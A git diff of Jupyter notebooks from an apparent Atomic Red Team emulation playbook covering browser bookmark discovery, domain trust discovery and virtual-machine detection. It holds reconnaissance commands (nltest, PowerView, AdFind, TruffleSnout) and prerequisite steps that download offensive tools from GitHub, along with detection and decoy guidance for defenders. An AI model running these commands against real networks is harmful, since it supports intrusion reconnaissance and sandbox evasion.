"metadata": {}, "source": [ "### Atomic Test #2 - List Mozilla Firefox Bookmark Database Files on macOS", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f5c47ec0", + "id": "7c51859b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1217 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "75d78864", + "id": "61eedf18", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1217_Firefox.txt 2>/dev/null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a9f1f944", + "id": "7fa77fd9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1217 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "b197ea07", + "id": "26e0fc04", "metadata": {}, "source": [ "### Atomic Test #3 - List Google Chrome Bookmark JSON Files on macOS", @@ -95,31 +95,65 @@ { "cell_type": "code", "execution_count": null, - "id": "046668e9", + "id": "c4862ecc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1217 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "7f0f8ca5", + "id": "263cb6f8", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1217-Chrome.txt 2>/dev/null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6dc31572", + "id": "6be1b166", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1217 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "2b964a9c", + "id": "86685b5b", "metadata": {}, "source": [ - "### Atomic Test #4 - List Google Chrome / Opera Bookmarks on Windows with powershell", + "### Atomic Test #4 - List Google Chromium Bookmark JSON Files on FreeBSD", + "Searches for Google Chromium's Bookmark file (on FreeBSD) that contains bookmarks in JSON format and lists any found instances to a text file.\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\nfind / -path \"*/.config/chromium/*/Bookmarks\" -exec echo {} >> /tmp/T1217-Chrome.txt \\;\ncat /tmp/T1217-Chrome.txt 2>/dev/null\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fd18f28a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1217 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "f980b861", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1217-Chrome.txt 2>/dev/null\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "48016832", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1217 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "90060e26", + "metadata": {}, + "source": [ + "### Atomic Test #5 - List Google Chrome / Opera Bookmarks on Windows with powershell", "Searches for Google Chrome's and Opera's Bookmarks file (on Windows distributions) that contains bookmarks.\nUpon execution, paths that contain bookmark files will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -129,17 +163,17 @@ { "cell_type": "code", "execution_count": null, - "id": "f0000c6e", + "id": "ec18e481", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1217 -TestNumbers 4" + "source": "Invoke-AtomicTest T1217 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "0d929858", + "id": "07c09f99", "metadata": {}, "source": [ - "### Atomic Test #5 - List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt", + "### Atomic Test #6 - List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt", "Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks.\nUpon execution, paths that contain bookmark files will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -149,17 +183,17 @@ { "cell_type": "code", "execution_count": null, - "id": "affa4aa0", + "id": "0fffa2df", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1217 -TestNumbers 5" + "source": "Invoke-AtomicTest T1217 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "b870a9f2", + "id": "cee7f982", "metadata": {}, "source": [ - "### Atomic Test #6 - List Mozilla Firefox bookmarks on Windows with command prompt", + "### Atomic Test #7 - List Mozilla Firefox bookmarks on Windows with command prompt", "Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database.\nUpon execution, paths that contain bookmark files will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -169,17 +203,17 @@ { "cell_type": "code", "execution_count": null, - "id": "320cbeb3", + "id": "ae51d1f7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1217 -TestNumbers 6" + "source": "Invoke-AtomicTest T1217 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "53dc8d16", + "id": "5f1b815f", "metadata": {}, "source": [ - "### Atomic Test #7 - List Internet Explorer Bookmarks using the command prompt", + "### Atomic Test #8 - List Internet Explorer Bookmarks using the command prompt", "This test will list the bookmarks for Internet Explorer that are found in the Favorites folder", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -189,17 +223,17 @@ { "cell_type": "code", "execution_count": null, - "id": "021dd374", + "id": "fee52790", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1217 -TestNumbers 7" + "source": "Invoke-AtomicTest T1217 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "532ffd31", + "id": "b6856acf", "metadata": {}, "source": [ - "### Atomic Test #8 - List Safari Bookmarks on MacOS", + "### Atomic Test #9 - List Safari Bookmarks on MacOS", "This test searches for Safari's Bookmarks file (on macOS) and lists any found instances to a text file.\n", "**Supported Platforms:** macos", "#### Attack Commands: Run with `sh`\n", @@ -209,34 +243,34 @@ { "cell_type": "code", "execution_count": null, - "id": "bda15bf4", + "id": "21ef811b", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1217 -TestNumbers 8" + "source": "Invoke-AtomicTest T1217 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "4add7984", + "id": "f591c276", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1217-Safari.txt 2>/dev/null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "91a4b293", + "id": "ef914f04", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1217 -TestNumbers 8 -Cleanup" + "source": "Invoke-AtomicTest T1217 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "c75a75e7", + "id": "af9bbe34", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained." }, { "cell_type": "markdown", - "id": "7e72adf1", + "id": "a91ee6b4", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to feed content to an adversary to influence their behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can use decoy content to give the false impression about the nature of the system in order to entice an adversary to continue engagement.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -244,13 +278,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1482.ipynb b/playbook/tactics/discovery/T1482.ipynb index 2aec6220..1b66e7b1 100644 --- a/playbook/tactics/discovery/T1482.ipynb +++ b/playbook/tactics/discovery/T1482.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b3c1254b", + "id": "036a4d11", "metadata": {}, "source": "# T1482 - Domain Trust Discovery\nAdversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)" }, { "cell_type": "markdown", - "id": "bc023933", + "id": "875856eb", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e9284e8c", + "id": "b8a00cf3", "metadata": {}, "source": [ "### Atomic Test #1 - Windows - Discover domain trusts with dsquery", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a76c4921", + "id": "21f768f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4574614f", + "id": "504e1a02", "metadata": {}, "source": "### Atomic Test #2 - Windows - Discover domain trusts with nltest\nUses the nltest command to discover domain trusts.\nRequires the installation of nltest via Windows RSAT or the Windows Server AD DS role.\nThis technique has been used by the Trickbot malware family.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `command_prompt`!\n##### Description: nltest.exe from RSAT must be present on disk\n\n##### Check Prereq Commands:\n```cmd\nWHERE nltest.exe >NUL 2>&1\n\n```\n##### Get Prereq Commands:\n```cmd\necho Sorry RSAT must be installed manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "060dc30b", + "id": "b2056058", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d1bfba1a", + "id": "d589ee1b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -58,107 +58,107 @@ { "cell_type": "code", "execution_count": null, - "id": "299aa2c4", + "id": "fdd99eb0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "84a21daf", + "id": "9fcaff0c", "metadata": {}, - "source": "### Atomic Test #3 - Powershell enumerate domains and forests\nUse powershell to enumerate AD information.\nRequires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: PowerView PowerShell script must exist on disk\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\PowerView.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1\" -OutFile \"$env:TEMP\\PowerView.ps1\"\n\n```\n##### Description: RSAT PowerShell AD admin cmdlets must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Get-Command \"Get-ADDomain\" -ErrorAction Ignore) -And (Get-Command \"Get-ADGroupMember\" -ErrorAction Ignore)) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"Sorry RSAT must be installed manually\"\n\n```" + "source": "### Atomic Test #3 - Powershell enumerate domains and forests\nUse powershell to enumerate AD information.\nRequires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: PowerView PowerShell script must exist on disk\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\"\n\n```\n##### Description: RSAT PowerShell AD admin cmdlets must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Get-Command \"Get-ADDomain\" -ErrorAction Ignore) -And (Get-Command \"Get-ADGroupMember\" -ErrorAction Ignore)) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"Sorry RSAT must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "52ec6de2", + "id": "1067b368", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e3af83d6", + "id": "7c4ff8f6", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module \"$env:TEMP\\PowerView.ps1\"\nGet-NetDomainTrust\nGet-NetForestTrust\nGet-ADDomain\nGet-ADGroupMember Administrators -Recursive\n([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()\n```" + "```powershell\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\"\nGet-NetDomainTrust\nGet-NetForestTrust\nGet-ADDomain\nGet-ADGroupMember Administrators -Recursive\n([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "651a0dcd", + "id": "54adb4f5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "deb7cc2e", + "id": "c80f10de", "metadata": {}, - "source": "### Atomic Test #4 - Adfind - Enumerate Active Directory OUs\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #4 - Adfind - Enumerate Active Directory OUs\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "29accebe", + "id": "dd4b99ba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9426ceb0", + "id": "731edc0d", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -f (objectcategory=organizationalUnit)\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=organizationalUnit)\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1abed2f1", + "id": "31fb2ea4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "8b578e8e", + "id": "ce663b91", "metadata": {}, - "source": "### Atomic Test #5 - Adfind - Enumerate Active Directory Trusts\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #5 - Adfind - Enumerate Active Directory Trusts\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7aecb89f", + "id": "a613f601", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2285d8dc", + "id": "33100237", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -gcb -sc trustdmp\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -gcb -sc trustdmp\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "71193c60", + "id": "9e9458c7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "854ec251", + "id": "bb2a0d1c", "metadata": {}, "source": [ "### Atomic Test #6 - Get-DomainTrust with PowerView", @@ -171,14 +171,14 @@ { "cell_type": "code", "execution_count": null, - "id": "3ff794a4", + "id": "ef6c0ec0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "28e91b07", + "id": "d89f9453", "metadata": {}, "source": [ "### Atomic Test #7 - Get-ForestTrust with PowerView", @@ -191,51 +191,51 @@ { "cell_type": "code", "execution_count": null, - "id": "80470e55", + "id": "a4f1ac50", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "61bad329", + "id": "c6883db6", "metadata": {}, - "source": "### Atomic Test #8 - TruffleSnout - Listing AD Infrastructure\nIterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1482\\src\\TruffleSnout.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -ItemType Directory (Split-Path PathToAtomicsFolder\\T1482\\src\\TruffleSnout.exe) -Force | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/dsnezhkov/TruffleSnout/releases/download/0.5/TruffleSnout.exe\" -OutFile PathToAtomicsFolder\\T1482\\src\\TruffleSnout.exe\n\n```" + "source": "### Atomic Test #8 - TruffleSnout - Listing AD Infrastructure\nIterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\TruffleSnout.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\TruffleSnout.exe\") -Force | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/dsnezhkov/TruffleSnout/releases/download/0.5/TruffleSnout.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\TruffleSnout.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "290d06ca", + "id": "999057e6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "abb11f5d", + "id": "1b679d01", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1482\\src\\TruffleSnout.exe forest -n %userdomain%\nPathToAtomicsFolder\\T1482\\src\\TruffleSnout.exe domain -n %userdomain%\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\TruffleSnout.exe\" forest -n %userdomain%\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\TruffleSnout.exe\" domain -n %userdomain%\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "af3504b0", + "id": "9dc83ab4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1482 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "8d9e3a1c", + "id": "0288f050", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n" }, { "cell_type": "markdown", - "id": "53217c5b", + "id": "30d78606", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Network \n Create a target network with a set of target systems, for the purpose of active defense.\n \n\n Decoy networks are comprised of multiple computing resources that can be used for defensive or deceptive purposes. A decoy network can be used to safely perform dynamic analysis of suspected malicious code. A defender can also use a specially crafted decoy network to perform adversary engagement. \n#### Opportunity\nThere is an opportunity to extend an adversary's engagement period by creating a decoy network that systems can discover when performing trust discovery.\n#### Use Case\nA defender can create a decoy network that contains systems\u00a0which are easily discoverable and appealing to an adversary.\n#### Procedures\nCreate an isolated network populated with decoy systems that can be used to study an adversary's tactics, techniques, and procedures (TTPs).\nUse a segregated network to visit a compromised site. If the machine becomes infected, allow the machine to remain on with internet access to see if an adversary engages and takes action on the system.\n" } @@ -243,13 +243,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1497.001.ipynb b/playbook/tactics/discovery/T1497.001.ipynb index 429cde62..12ddbbb0 100644 --- a/playbook/tactics/discovery/T1497.001.ipynb +++ b/playbook/tactics/discovery/T1497.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "935a65fa", + "id": "286a0bac", "metadata": {}, "source": "# T1497.001 - System Checks\nAdversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)" }, { "cell_type": "markdown", - "id": "d26043ac", + "id": "97707fd6", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a1f136d1", + "id": "6179e161", "metadata": {}, "source": [ "### Atomic Test #1 - Detect Virtualization Environment (Linux)", @@ -28,17 +28,38 @@ { "cell_type": "code", "execution_count": null, - "id": "baf96f58", + "id": "42d0eaf6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1497.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "25e80629", + "id": "2562a01a", "metadata": {}, "source": [ - "### Atomic Test #2 - Detect Virtualization Environment (Windows)", + "### Atomic Test #2 - Detect Virtualization Environment (FreeBSD)", + "Detects execution in a virtualized environment.\nAt boot, dmesg stores a log if a hypervisor is detected.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nif [ \"$(sysctl -n hw.hv_vendor)\" != \"\" ]; then echo \"Virtualization Environment detected\"; fi\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "59deeb6e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "194d59f8", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Detect Virtualization Environment (Windows)", "Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -49,31 +70,31 @@ { "cell_type": "code", "execution_count": null, - "id": "154dec30", + "id": "695e8e70", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1497.001 -TestNumbers 2" + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "60b05cd3", + "id": "d3dc09d5", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$error.clear()\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7c1f4835", + "id": "826ffa9c", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1497.001 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": 